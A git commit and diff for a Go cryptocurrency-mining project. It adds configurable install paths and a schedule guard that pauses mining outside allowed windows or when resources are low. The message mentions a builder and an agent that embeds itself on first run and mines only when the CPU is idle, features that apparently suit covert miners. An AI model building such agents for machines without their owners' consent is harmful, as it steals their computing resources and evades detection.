Add configurable install paths and enforce mining schedules.

Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
This commit is contained in:
drjones
2026-05-26 23:39:51 -07:00
parent f7d6dcf542
commit 1313c553e7
20 changed files with 662 additions and 24 deletions

View File

@@ -21,6 +21,7 @@ type Pool struct {
reporter *stats.Reporter
engine *Engine
handler ShareHandler
schedule *ScheduleGuard
mu sync.RWMutex
currentJob *job.Job
@@ -42,6 +43,7 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha
reporter: reporter,
engine: NewEngine(),
handler: handler,
schedule: NewScheduleGuard(cfg, reporter),
stopCh: make(chan struct{}),
}
}
@@ -91,11 +93,21 @@ func (p *Pool) resourceGuard() {
case <-p.stopCh:
return
case <-ticker.C:
p.paused.Store(!p.resourcesOK())
p.paused.Store(!p.miningAllowed())
}
}
}
func (p *Pool) miningAllowed() bool {
if !p.resourcesOK() {
return false
}
if p.schedule != nil && !p.schedule.Allowed() {
return false
}
return true
}
func (p *Pool) resourcesOK() bool {
freeMB := p.reporter.FreeMemoryMB()
if freeMB > 0 && freeMB < uint64(p.cfg.MinFreeRAM) {